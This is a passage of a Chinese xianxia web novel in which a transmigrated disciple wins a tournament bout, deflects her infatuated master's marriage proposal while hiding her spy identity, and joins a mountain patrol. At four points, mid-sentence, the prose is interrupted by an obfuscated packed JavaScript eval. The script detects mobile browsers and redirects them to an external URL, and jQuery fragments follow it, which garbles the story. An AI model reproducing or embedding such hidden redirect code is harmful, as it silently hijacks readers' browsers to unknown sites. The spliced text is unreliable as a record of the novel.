出洞府就是这么热闹的景象,夏清尴尬地松开白镜玄的胳膊。 岂料她刚松手,未来得及拿远,又被白镜玄追来握住。 夏清:“……” 白镜玄面上波澜不惊,周围长老弟子也都垂着头,夏清却感觉四周有无数双眼睛盯着她看。 如芒在背。 刚刚穿越到陌生的世界,她本来想低调,尽量不引人注目地度过危险期。因为越多人关注她,她就越容易露馅儿。 可惜人算不如天算,低调不了一点。 或许是感受到夏清的抗拒,白镜玄握住她的手只片刻又松开。 夏清松了一口气。 白镜玄从夏清侧脸收回视线,眼底神色幽幽。 目光自擂台四周扫过,而后下巴轻抬,示意长老:“开始吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822068|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这句话如同解开封印的咒语,观山台上的气氛立即又活跃起来。 今年年比不似往年,有白镜玄坐镇,各洲弟子都铆足了劲儿,欲在仙尊面前好好展现一番。 夏清对自己炮灰废柴的身份很有自知之明,这种群英荟萃的切磋活动大抵是轮不上她表现的,她可以躲在白镜玄身后放心大胆地摸鱼。 晒晒太阳,嗑嗑瓜子,看看比赛什么的。 估摸着这场面,大抵跟她学生时代的运动会差不多。 “第一轮,天梁洲韩子啸,对,紫霄峰夏清!” 夏清半眯的眼睛倏地睁圆。 “哈?!” 夏清板凳还没坐热呢,手里的瓜子就掉了一地。 前边执事话音刚落,立即便有一名着暗黄色弟子袍服的男青年跳上擂台,手中提着一把木剑,环顾四周,扬声道:“夏清何在?” 声如洪钟,中气十足。 天梁洲弟子们立即高声起哄。 夏清看看擂台,又看看白镜玄,心道:真要她上啊? 白镜玄端坐主位之上,闻言眉头微蹙,食指轻敲玉椅扶手:“韩子啸?” 侍立一旁的长老赶忙说道:“这韩子啸是峰主闭关后新纳的弟子,虽然脾性桀骜,但资质不错,修行进境迅速,峰内各项考核均名列前茅,据同洲弟子反馈,此人年前已触达瓶颈,突破地仙之境指日可待。” 白镜玄沉吟道:“若本座没有记错,昨日那名弟子也隶属天梁洲。” 长老愣了一下才反应过来白镜玄所言深意,倏然间冷汗涔涔:“这……二者之间,应该没有关系。” 听语气,长老也并不确定。 但大会已经开始,没有时间核验了。 夏清迟疑这一会儿,擂台下已有窃窃私语之声。 韩子啸负手将木剑背在身后,朗声挑衅:“夏清,别仗着你是峰主弟子,就如此耽误大家伙的时间!” 话音落下,擂台四周嘻声不断。 长老们面色青白交加。 往年峰主闭关时,弟子们就明里暗里讽刺捉弄夏清,他们这些长老并非毫不知情,当面碰见也会口头上约束几句,谁曾想今日白镜玄在场,这些混不吝还敢猖狂。 打眼一瞧,白镜玄脸色果然不好。 长老心中暗暗叫苦,不知道是哪个不长眼的编排此局,竟将夏清与韩子啸放在第一场。 不管夏清认输还是上台被揍,打的都是白镜玄的脸。 不等白镜玄开口,其中一位长老看向夏清:“夏清,要不你……” 夏清不能修炼本就不是秘密,果断认输总好过再受皮肉之苦。 “我明白了。”夏清起身,伸了个长长的懒腰,“久了不活动筋骨也会生锈,我正好练练手。” 长老愣住。 白镜玄眼底也掠过一抹惊讶之色。 不等她阻止,夏清已大步走向擂台,随手从一旁武器架上捞起一根圆木长棍,踏进对战区域。 韩子啸唇边勾起一抹冷笑,哼道:“夏清,别以为峰主偏私袒护你我就会对你手下留情,你若有自知之明,趁早认……” 啪—— 一声脆响打断韩子啸的话头。 长棍在夏清手中挽了花,狠狠敲在韩子啸脚边。 夏清眉梢一扬:“你瞧不起我,可以,但若妄图趁机诋毁我师尊,休想!” 5. 第五章 夏清此话出口,擂台上下静谧一瞬,议论声短暂消停。 看台上,白镜玄眉目舒展,眼底冰霜融化,淌出两分笑意。 “秦长老。” 白镜玄目光不离夏清,抬手示意身后一名长老上前。 秦长老微微弯腰,神态恭敬:“峰主。” 但听白镜玄道:“彻查此事,半个时辰查不清楚,你们知道该怎么做。” 群峰试炼是九瑶川川主应仙宫之诏所举办推选人才的考试,应试者若通过考核,便有机会进入仙宫修行。 距离群峰试炼只剩三个月,此次年比不光是检测弟子们的修行成果,更是三个月后的群峰试炼做一次初步筛选。 切磋的流程应当是提前定好的,不会随便更改,夏清的名字昨日才临时加上名录,即便给她安排切磋对手,也绝不会放在第一场。 显然因为白镜玄闭关太久,峰上有些人忘了应有的规矩。 秦长老闻言,心尖倏地颤了颤,脸上五官拧作一团。 紫霄峰是九瑶川南面最高的山峰,山势绵延不尽,通向四海八荒,因地势险峻而少有人烟。 百年前,白镜玄因故离开仙宫四海云游,南行至紫霄峰时,感觉此地天地灵气极为充裕,而且风景优美,使人明心净气,便从此定居,修身养性。 某日,两位真仙在紫霄峰下大打出手,山川雷动,轰鸣之声震耳,惊扰了白镜玄。 那一战详情虽无史书记载,但有坊间传言,被白镜玄当众格杀的其中一人来自仙宫。 仙宫对此并无回应,从此之后,紫霄峰名声大噪,各地散修纷纷前来投奔,奉白镜玄为紫霄峰之主。 外面的人或许不知内情,但在白镜玄话音落下之后,长老们一个个都脸色发白。 擂台上,韩子啸虚眼审视夏清,须臾过后嗤笑道:“你若有真本事自不会叫人拿了话柄,装腔作势这一套,在我这里行不通!” 话不投机半句多,夏清不再多言,挑起手中长棍:“那就来吧。” 夏清不爱挑事,但不代表她怕事。神州大地底蕴深厚,理法讲不通,她也略懂一些拳脚。 她倒想看看,书里面这些仙人到底有多大神通。 “哼!”韩子啸根本未将夏清放在眼中,提剑凌空画了一道咒符。 剑气以一化千,雨点子似的唰唰落下来。 夏清敏锐嗅到危机。 原身好歹也是修行之人,虽然天生废柴,但绝对算不上懒惰,对危机多少有一些敏感性。 纵然剑气无形,她的身体也展现出长久训练的本能,毫不犹豫抽身飞退。 只听哒哒哒一阵脆响,攒射而来的剑气击打地面,机关枪似的在地上留下一梭又一梭弹孔。 碎石四散飞溅,锐利堪比刀锋,只需稍稍擦过便能见血。 夏清径直退到擂台边缘,长棍撑地腾空,躲开最后一道剑气。 台下天梁洲弟子幸灾乐祸:“峰主出关夏清就忘了自己姓什么,也不瞧瞧自己什么德行,竟还敢跟韩师弟叫板!” 另一弟子附和:“没错,韩师弟一招她都接不住!” 长老们见此场景,皆是忧心忡忡。 夏清什么法术也不会,与韩子啸对阵必输无疑,可白镜玄不喊停,他们谁也不敢贸然插手。 擂台上,剑雨稍歇,夏清抬眼纵览方寸之境,意念微动。 剑气如风,来无影去无踪,坤地疮痍,为木克土之象,成卦,风地观。 观卦,外观势,内观心,非绝境无生之卦。 上卦为客,下卦为主,主有三变,一曰益,二曰涣,三曰渐。 二、三必败,破局之法仅剩其一。 静观时局,事有转机,需化被动为主动,时机只有一次,转瞬即逝。 夏清看清局势,心下思忖,已有决意。 当下应以不变应万变,等对方招式出尽,再从中窥探可乘之机。 韩子啸木剑一旋,扇形剑光当即飞攒而来。 夏清凭借本能下腰闪躲,下一瞬,嗖嗖剑气擦过脸颊,削断她几根头发。 不料夏清这么能躲,韩子啸又一招落空,咧嘴嬉笑:“再来,我倒要看你能坚持多久!” 擂台旁,几名天同洲弟子就时局小声讨论几句,最后将话题递给她们当中威望最高之人:“柳师姐,依你看,夏清能扛得住韩子啸几招?” 柳菡云闻声,托腮思量:“若以理推之,夏师妹毫无胜算,十招以内应见胜负,不过嘛……” 见她话不说完,故意卖起关子,几个师妹好奇追问:“不过什么?” 柳菡云唇边勾起一抹笑:“我感觉夏师妹非常人,有藏拙也说不定,需知满招损,谦受益,韩子啸太狂了,只怕要小心搬起石头砸了自己的脚。” 师妹们似懂非懂,心存疑惑:“柳师姐觉得夏清有可能赢?” 柳菡云未答,但笑不语。 擂台上局势一边倒,夏清抱头鼠窜,哪有先前初登场时的硬气。 韩子啸愈发张狂,嗤笑道:“我当你有什么本事,原来是一只滑不留手的老鼠!” 嗖地一道剑气飞过,夏清闪躲不及,肩膀处刺啦一声衣服划破,血迹缓缓渗出。 但不知是不是她体质特殊的缘故,伤口并没有感觉多疼,她就地一个驴打滚,躲掉余下几道剑气。 白镜玄见状眼神一寒,周围几名长老大气都不敢喘。 便在这时,一名执事快步走来,行至秦长老身侧附耳说了几句话。 秦长老脸色大变,惊怒道:“你说什么?竟有此事!” 白镜玄闻声,侧眸看向她们:“何事?” 其声清寒,冻得在场众人打了个哆嗦。 秦长老喉咙颤了颤,迎着白镜玄森森寒目,硬着头皮开口:“回禀峰主,昨日的确有人暗中打听年比切磋位次,韩子啸的对手,原本不是夏清。” 这话音落下,周遭气温直降五度。 几位长老执事屏住呼吸,连头都不敢抬。 白镜玄不过闭关十年,紫霄峰上的管理就出了那么大的纰漏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822069|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不敢想象今天会发生什么。 秦长老资历较深,见众人接不敢开口,只能强行按下忐忑心绪,鼓起勇气出声:“峰主,您看今天这场比试……” 白镜玄并未当场发作,而是目不转睛盯着台上。 沉吟片刻,方道:“出结果再说。” 夏清既然没有向她求助,说明这一战至此她还有余力。 几位长老面面相觑,秦长老恨恨瞪了他们一眼,吩咐下去:“今日大比结束之前,你们务必将作祟之人给我抓到!” 擂台上轰一声响,一道剑气在夏清脚边炸开,气浪掀起三米高,将她迎面击中。 “该结束了!”韩子啸看准机会,并起两指抹过剑刃,决定一招决胜。 他咒文念罢,法力催动,在他身侧形成一圈紫光。 天空中一声惊雷响起,云层翻滚,电光闪烁。 一簇又一簇电弧彼此纠缠,积蓄威压。 夏清连滚几转终于停下,浑身上下已满是伤痕,抬头,刺眼的电光映入瞳孔。 震为雷,爻变之象。 她胸口激烈起伏,呼吸急促,手边散落着几枚石子。 石子沾染鲜血,呈水土相战之局。 山水蒙。 万物初生,山阻水险,转机已悄然出现。 韩子啸一直在强力输出,消耗巨大,而此招又需蓄力,可见此刻就是她动的时机。 夏清全神贯注,默念心诀。 成败就在此一举,她只能放手一搏。 轰隆一道惊雷落下,擂台上霎时硝烟弥漫。 所有人翘首以盼,这一战打了这么久,也该有个结果了。 却不知夏清是否还能站着离开。 待烟尘散去,视野开阔中间空空如也,方才伏地之人竟凭空消失了。 韩子啸见状微怔。 擂台四周忽然响起惊呼,韩子啸循声望去,未见夏清人影。 一根长棍却自他后方斜劈而来,毫无花哨击中他的肩膀。 咔—— 木棍应声而断,韩子啸迅速回神,侧身避开夏清下一招。 一击未果,夏清不退反进,眼神炯炯如黑夜明星,双手合于胸前,掐了一个古怪诀。 法术?! 韩子啸瞳孔一缩,下意识抽身后撤。 不料他脚下刚挪半步,夏清反手便用余下半截木棍击中他右腿腿弯。 韩子啸踉跄跪倒,方回过神来,刚才夏清拿古怪的手诀竟是虚晃一招。 “山水蒙,三爻变,山风蛊,水生木,木克土。”夏清口中念念有词,再一甩手,长棍击中韩子啸右侧腮帮。 韩子啸嘴里就着血沫飞出两颗牙。 如此,夏清手中断棍连着挥了十余下,打得韩子啸鼻青脸肿,从始至终没有施展任何术法。 天空中雷云渐渐消散,擂台之下鸦雀无声。 台上夏清一脚踢翻韩子啸,跳起来踩中他的胸口,拿木棍断端尖刺抵着他的喉咙:“成者为王败者寇,你服不服?” 6. 第六章 韩子啸气息奄奄,眼睛肿得睁不开。 听夏清这么说,他嘴唇动了动,似欲开口。 却因扯动嘴角的伤,未出声,先倒吸一口气,疼得直哆嗦。 监赛执事什么场面没见过,可这场面他真没见过。 仙人斗法,哪有夏清这般蛮力施为的? 台下弟子们也面面相觑,都说大道至简,道法高低在于修为深浅,他们哪儿见过夏清这等拳脚功夫? 所有人正懵着呢,看台上白镜玄却施施然起身,目光清寒地瞥了执事一眼:“不宣布比试结果吗?” 宛如一盆混着冰渣子的水当头浇下,执事一个激灵陡然回神,忙不迭高声宣布:“第一场,获胜者夏清!” 此战终了,胜负尘埃落定。 夏清松开韩子啸,将那半截木棍随手扔掉。 她体质特殊,对疼痛的感知比较迟钝,但伤口太多,太深,也还是会疼。 为了获得胜利,她付出的代价不小。 夏清提气深呼吸,攒了些许气力,摇摇晃晃往台下去。 与此同时,她心里暗暗思量,这一战她赢得虽不算漂亮,到底也没丢白镜玄的面儿,带着这一身伤去白镜玄面前卖卖惨,说不定还能再刷一波好感。 思及此,夏清不觉间心情愉快,步子便走得轻飘飘的。 下擂台时屈膝腿疼,夏清一脚踩空,直挺挺地往台下栽。 柳菡云旁观者清,遥见这一幕,惊呼:“夏师妹!” 视野倒悬,地面迅速拉近。 眼看自己即将以头抢地,夏清心如死灰。 她耗费半条命给自己挣回来的脸这下又赔光了! 倏然,快速坠落的身体冲势减缓。 夏清眼前一暗,不期然撞上一道白影,随即整张脸埋进柔软的垫子里。 熟悉的紫藤花香萦绕鼻间,夏清精神为之一震。 下一瞬,温热的柔风吹过脸颊,将她的身体环绕,须臾之间,体表伤势尽消,就连破损的衣服都恢复了原貌,一点点血沫都瞧不着。 疲惫一扫而空,不适之感全部消退,身体放松得像是在泡温泉。 前后对比太过激烈,夏清像从海拔高处下到平原,出现了强烈的醉氧反应——昏过去。 她脑袋一耷便不省人事。 擂台旁,弟子们左顾右盼,长老们战战兢兢。 柳菡云停下脚步,最先反应过来,朝来人抱拳见礼:“峰主。” 这两个字像冥冥之音,点醒在场所有人。 如一阵风般凭空出现在擂台旁的这道身影,正是紫霄峰主,白镜玄。 唰—— 一大片弟子后退,为冲撞白镜玄躬身赔罪。 白镜玄没搭理他们,她一只手搂着夏清的腰,另一只手将夏清脑袋从自己胸前拨开,扶正到肩上靠好。 只这一会儿,夏清脸蛋儿已憋得红扑扑的,再迟片刻,不知道会憋成什么样。 秦长老快步跑来,在白镜玄身后驻足,神情严肃:“峰主,人抓到了。” 白镜玄垂眸,看向怀里呼呼大睡的夏清,沉吟须臾,方道:“稍后再审,大比继续。” 话音落下,白镜玄连着夏清一块儿原地消失。 秦长老愣怔片刻反应过来,朝执事吩咐:“继续,下一场!” 这场闹剧像大海中一朵小小的浪花,年比很快又恢复了秩序,匆忙而慌乱地继续往前推进。 柳菡云站在人群之中,看看焦头烂额的秦长老,再瞧一眼白镜玄方才短暂伫立之所,若有所思。 白镜玄抱着夏清回到洞府,欲将夏清放到床榻上去休息。 这时,睡梦中的夏清忽然鼻子动了动。 她梦里不知闻见什么香气,竟小狗似的朝前蹭,蹭得贴到白镜玄脖颈间,鼻头拱来拱去。 温热的鼻息拂过白镜玄的耳廓,酥酥痒痒的,烫得白镜玄耳根处泛起浅浅薄红。 她掰过夏清肩膀,要扶着夏清躺下。 突然,一小截湿软的舌尖轻盈地掠过她的脖子。 肌肤触电似的起了一层鸡皮疙瘩,夏清舔罢还不罢休,竟然张嘴咬。 白镜玄呼吸微滞,闷哼一声推开夏清。 夏清就地打了个滚儿,脑袋埋进枕头里,砸吧砸吧嘴像吃到什么美味,却丝毫没有要醒来的意思。 白镜玄静坐床边,抬手捂着方才被小狗舔过的脖子,眼神十分无奈。 她缓了片刻,牵起丝被给夏清盖好,喃喃自语道:“本座闭关之时,竟有人如此欺负清儿,真是不把本座放在眼里……” · 夏清一觉睡到自然醒,醒来尚未睁眼,便下意识到处摸手机。 摸来摸去,手机没有摸着,倒是碰到一朵柔软,刚好手掌那么大,手感好得出奇。 这触感,这形状…… 夏清迷迷糊糊睁眼,与白镜玄四目相对。 白镜玄面带笑意,柔唇轻启:“清儿喜欢吗?” 语气温柔,神态间甚至流露出几分纵容宠溺的味道。 夏清视线下移,看见自己胡作非为那只手。 “!” 夏清倏地收回手,脸色爆红:“抱,抱歉。” 白镜玄却不以为意,一只手撑着侧脸,笑意浅浅:“清儿为何要道歉?” 夏清噎住。 白镜玄问得太坦荡,太自然,夏清反倒无言以对。 她只能揪紧被角,扭扭捏捏地岔开话题:“……师尊,我睡了多久?” “不多不少,十二个时辰。”白镜玄抬起一只手,笑吟吟地刮过夏清鼻子,“小懒虫。” 嘶—— 夏清鼻梁麻麻的,耳根子也麻麻的。 不知道是不是她的错觉,她感觉白镜玄好像变了个人似的。 若说昨日白镜玄眼里还藏着一些情绪,今天她脸上的笑容就没有消失过,连夏清都能感觉到,她是实打实地高兴。 白镜玄的笑容晃花夏清的眼睛,她实在是想不明白,人是怎么做到又好看又好听还好吃的? 嗯?好吃? 这个结论是怎么得出来的? 夏清风中凌乱,脑子里像灌了三斤水泥。 直至耳边又响起白镜玄的声音:“清儿,想什么呢?” 夏清可不敢把自己心里的想法透露给白镜玄。 她眼神飘忽落不到实处,慌乱间想起自己昏迷前最后一幕景象,愈发羞愧,垂着脑袋说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822070|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我给师尊丢脸了。” 白镜玄很是不解:“何出此言?” 夏清叹了口气,真情实感地难过:“我从擂台上摔下来,还昏过去,太丢人了。” 这一摔肯定特别惨,不知道多少人笑话她。 白镜玄闻言,忽然伸手捧起夏清的脸,让夏清与她对视。 “清儿,你一点也不丢人。” 白镜玄说得认真,眼底似有薄薄的光芒透出来。 “若非为了我,你本不必受这些伤。”言到此处,白镜玄眸子里透出淡淡哀愁,自责道,“是我做得不够,让清儿委屈了。” 夏清:“。” 她明白了,昨日她拼死一战的表现果然收效显著,在白镜玄心目中成功塑造了一个隐忍坚强为了所爱之人可以奋不顾身的伟岸形象。 不仅加深了白镜玄对她的好感,更让白镜玄认为她的爱热烈深沉,矢志不渝。 虽然过程意外连连,但结果好像还不坏,彻底打消了白镜玄的疑虑。 这就是她想达到的目的。 夏清庆幸之余,内心怀揣了一点儿的羞愧。 利用白镜玄的感情,这句话说出去都没人信,可夏清真真切切地知道,处境不由人,她只有这么做才能自保。 虽然昨日之事有演戏的成分在,但大体上还是出自真心,否则她也坚持不到最后。 她既要谋划逃走,就得利用一切可以调动的资源,她身边,最能给到她帮助的,也只有白镜玄。 夏清合上眼,做了个深呼吸,随后又睁眼,直勾勾望着白镜玄的眼睛:“师尊,我不委屈。” 她所做的一切,都是为了她自己。 白镜玄的确误会了她们的关系,但却是真心实意待她好,她能感受得到。 至少在局势变坏之前,她会付给白镜玄属于她最大程度的真诚。 夏清轻哼一声,蹙眉道:“我只是看不惯这些人背后暗算!” 她可是混过职场的牛马,内里弯弯绕怎会看不清? “他们敢这样针对我,是因为没把师尊放在眼里!”夏清言之凿凿,仗义执言,“他们这是在试探师尊的底线!师尊不便出手,我便来替师尊教训他们!” 这件事情的本质是紫霄峰上有人不服白镜玄,想篡权!想夺位! 而她夏清只是引起事端的话柄! 夏清义愤填膺,说得口都干了,却久久不见白镜玄回应。 她定睛一看,白镜玄专注地望着她,好似在听她说话,事实上却眼神涣散,意识更是已经神游天外。 夏清:“……” 她纳闷极了,难道白镜玄还没有明白事情的重要性? 见白镜玄出神,连她停下说话都没有察觉,夏清伸手到白镜玄眼前晃了晃,小声唤她:“师尊?” 下一瞬,白镜玄回神,握住她的手。 夏清感觉一腔热血付东流,刚才那么多话白说了,遂语气不善:“你在想啥呢?” 白镜玄定定望着她。 片刻后,开口。 所言之事离题万里:“清儿这般为我着想,我与清儿如此心心相印,我们不如找个时间把结契之宴办了吧。” 夏清:“???” 7. 第七章 啊这。 白镜玄,堂堂紫霄峰峰主,威风八面,翻手为云覆手为雨。 却,是个恋爱脑。 作为大女主事业粉,夏清有点窒息。 恨铁不成钢。 白镜玄一双美眸忽闪忽闪,饱含期待:“清儿觉得怎么样?” “我觉得不怎么样!”夏清咬牙说道。 “唔。”仙尊狠狠受伤,眼神中流露出淡淡的委屈,不解道,“为什么?清儿不愿与我结契?” 眼看白镜玄眼底闪过莹润泪光,当真是伤了心,难过住了,夏清绷不住,手忙脚乱:“根本不是这么回事,你不要多想!” 白镜玄大受打击,哪儿那么容易被哄好,闻言撇撇嘴,扭开头不搭理夏清了。 夏清抓耳挠腮,晓之以理,动之以情:“师尊,你想想看,昨天的事情已经说明咱们紫霄峰内部并非铁板一块,有人暗地里想搞事情,如果当下向外人公布我们之间的关系,不是给人当靶子吗?” 白镜玄侧对夏清,没什么动静,但夏清非常肯定她在听。 因而未等白镜玄回应,夏清主动凑过去,捧起白镜玄的手,继续说道:“我当然知道你偏爱我,但现在还不是时候。” “我没什么能力,修为也差,存在感低,对这些人而言没什么威慑力,所以他们还能对我睁一只眼闭一只眼,可……” 说这些话时,夏清心里设想自己的处境,感觉四面楚歌。 真让白镜玄举办了结契之礼那还了得,事情越闹越大,以后只怕难以收场。 可她话没说完呢,白镜玄忽然出声打断她:“不许你这么说。” 夏清愣住,眨巴眨巴眼睛。 白镜玄气鼓鼓将手抽回去,捏住夏清的脸颊:“能力不等同于修为,更不是用于衡量个人价值的标准,财富、声望和权力,终究都只是过眼云烟,谁想要都可以拿去,但我唯独不能没有你。” 太突然了。 面对白镜玄如此炽热的表白,夏清感动之余又有一点尴尬。 一时间,她张口结舌,不知道该怎么回应。 白镜玄嗔她一眼:“你明白吗?” 圣洁仙子落凡尘,沾染了人间烟火味,夏清很不争气被这一眼勾得心神荡漾,脑子晕乎乎的。 “我明白我明白!”夏清反手盖住白镜玄的手背,小鸡啄米似的连连点头。 末了,她艰难地拉回一点理智,绕回刚才没说完的话题,“可是师尊,一旦让人知道你与我这般亲密,他们必将把我视作你的软肋并借此伤害你。” “你为我考虑许多,我当然也要为你打算。”夏清定了定神,深吸一口气,态度坚决,“我绝不允许这样的事情发生!” 夏清说完,白镜玄若有所思。 见白镜玄许久不吭声,夏清晃了晃白镜玄的胳膊:“师尊。” 倏然,白镜玄毫无预兆倾身,一双柔唇轻盈地印上夏清的脸颊。 夏清脑子嗡一声,人傻了。 等她双眼恢复视觉,耳朵重新听见声音,白镜玄已退回去,认真思忖夏清的话,点头道:“清儿所言句句在理。” 不把峰内搅浑水的人揪出来,她的爱徒就不能安心,她为人师者,当以身作则,顾全大局。 如此才能更好地保护夏清。 白镜玄被夏清说服,承诺道:“那就等峰内事端平息,我们再举办结契之宴,清儿放心,为师不会让你等太久。” 夏清:“。” 她脑子懵懵的,心跳扑通扑通,快得停不下来。 局势明明按照她预料的方向发展,可她却隐隐感觉某些事情正悄然失控。 迎着白镜玄专注深情的目光,夏清大脑空空,只能干巴巴地回应:“我,我愿为师尊排忧解难。” 这本只是一句逢迎讨好的空话,不料,白镜玄却道:“眼下为师确有一件事需要拜托清儿。” 夏清四处乱飘的神智拉回来一点,闻言眼露疑惑。 “清儿,为师此次闭关,于梦境之中有所感,蛮荒地界灾祸频发,仙界正清之气日渐衰微,魔神封印横生异象,为师预想,百年之内,三界必起祸端,说不定眼下仙界中,已有魔族安插的卧底。” 夏清一个激灵,彻底清醒了。 白镜玄口中提及的卧底,可不就是她夏清么? 猝不及防掉马危机从天而降,夏清心头一紧,表面上却故作不知,结巴道:“这,这么严重吗?” 如果不是前一刻白镜玄还在与她商量办婚宴的事项,她都要怀疑白镜玄是不是瞧出端倪,搁这儿试探她呢。 “这只是为师的预感和推测,没有实据。”白镜玄叹息一声,“为师因受身份所限,调查此事并不方便,身旁又无旁的交心之人,便只能将此事先告诉清儿。” “需知覆巢之下焉有完卵,若真如此,势必将是一场浩劫,处安更应思忧,望清儿平日多留个心眼儿,若有风吹草动,要以自身安危为重。” 夏清松口气的同时又暗暗心惊,这就是高手的直觉吗? 为防说多错多,引起白镜玄的怀疑,夏清兀自点头附和,心头危机感则越发强烈了。 若被白镜玄发现她就是魔族卧底,后果不堪设想。 说一千道一万,解决问题的根本方法是尽早逃离紫霄峰,而出逃的关键又在于个人实力,以及对天时地利的利用。 “我明白了。”夏清思路恢复清晰,“我会注意的,师尊自己也要小心。” · 山风猎猎,夏清沿山路往下走,离白镜玄的洞府越来越远。 原身在山脚下有一个自己的洞府,自夏清穿来,还没有回去看过。 保险起见,夏清准备先回洞府转一转,检查看看是否有可能暴露身份的线索落下。 她以要回洞府修炼为由告退,起先白镜玄不想让她走,她好说歹说,最后答应入夜之前回来,白镜玄才肯放她离开。 临行时,白镜玄恋恋不舍,对她说:“那清儿务必早些回来。” 夏清对自己说一个骗人感情的渣女有了十分真切的感受。 行至半山腰,夏清在丛林中迷了路。 夏清:“……” 真是意料之外的发展。 原身是个路痴,脑子里没有多少地图信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822071|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,加上白镜玄闭关之后,她上山次数减少,认路的水平大幅下降。 夏清被岔路迷惑,正迟疑不知往哪边走,要不要起一卦看看,忽然一道声音叫住她。 “夏师妹!” 夏清抬头,见一女子迎面走来。 片刻后,夏清认出来人:“柳菡云!” “是我。”柳菡云行至夏清跟前,笑吟吟道,“还没来得及恭喜师妹,昨日一战神勇无端,真是让人刮目相看!” 夏清不太习惯被人夸奖,抓抓后脑勺道了声谢,随后岔开话题:“你这是要去哪儿?” 柳菡云耸耸肩膀:“今日是我当值,我正要去巡山。” 夏清惊讶:“你一个人去?” 印象中,这种巡逻任务,不是至少两人一组? “对啊。”柳菡云的语气理所当然,“我原本有搭档的,是跟我同洲的一位师妹,姓江,可她性子急,等不了我,一个时辰前就自己出发了。” 夏清:“……” 柳菡云是迟到惯犯,这事儿她真能做得出来。 夏清抬头朝天空中看一眼,日上中天,差不多快中午了。 “你现在才去会不会来不及?”夏清好奇。 “不会不会,我路熟,可以抄近道,一切都在预料之中。”柳菡云说完这话,忽而脑筋一转,“诶,师妹,若你没有旁的事情要忙,不如与我一起?实话说一个人挺无聊的。” 夏清:“。” 不愧是你。 不过,她心里一合计,可行。 这简直是瞌睡来了就有人递枕头。 她正愁对紫霄峰的地形不熟,贸然四处打探不仅惹人怀疑,还容易惊动山间野兽,保不齐一个不小心就曝尸荒野。 柳菡云主动邀约,既有了掩护的借口,还有了贴身保镖,妙哉。 “行,你带路!” 夏清和柳菡云一前一后在密匝匝的灌木丛中穿行。 紫霄峰上有阵法保护,山间行路只能徒步。 柳菡云一边拨开挡在身前的灌木,一边有一搭没一搭同夏清聊天。 “夏师妹,昨日你与韩子啸那一战颇为精彩,我观你身陷下风之时始终慌而不乱,成竹在胸,可是一开始就想好了应对之法?” 夏清摇头:“没有,我只是会一门卜算秘术,战局之初就预见会有转机,所以在尽可能拖延时间。” 柳菡云闻言颇为惊讶:“卜算秘术?什么秘术竟不需要施法辅助就能预测占卜?” “既然是秘术,当然与众不同,跟普通卜术不一样。”夏清回答。 柳菡云哈哈笑开:“也是。” 她话音未落,夏清忽然踩滑了,刺啦一声劈个一字叉,半只脚踏进小水沟里。 柳菡云一脸懵逼:“师妹?” 愣了须臾,她才反应过来,上前欲扶夏清起身。 “等等!”夏清抬手阻止柳菡云,脸色骤变,“水山蹇,险阻在前……此行有变!” 柳菡云蓦地愣住。 正待问明缘由,突然一声惨叫划破林中寂静。 柳菡云瞳孔一缩:“是江师妹!” 8. 第八章 “峰主!” 秦长老步履匆匆,面见白镜玄。 白镜玄刚刚送走夏清,正回想夏清今日与她说的那些话,兀自沉湎。 长老突然出现,打断她了的思绪。 白镜玄不虞:“何事如此匆忙?” “大事不妙!”秦长老气没喘匀就开口说话,白眉上下跳动,“是嫌犯!天梁洲执事薛靖川,化身成魔逃走了!” 白镜玄神色一凛。 她才刚叮嘱了夏清自个儿当心,没想到预感这么快就应验。 魔族的手太长,竟已伸到紫霄峰来了。 “此魔隐藏颇深,压制修为躲在天梁洲不知多久,应当是个关键角色,他所顶替之人恐怕已遭遇不测。” “我已着人手去追,可对方实力雄浑,临时抽调的人手恐怕不敌!”秦长老快速说完,请示白镜玄,“请峰主出手!” 白镜玄寒眸森森。 正待动身,她步子一顿,吩咐秦长老:“你就在此处,若清儿上山来,你且告诉她本座去去便回。” 秦长老点头称是,内心暗暗吃惊:仙尊这是何等重视夏清。 转眼间,眼前白影已如风散去。 · 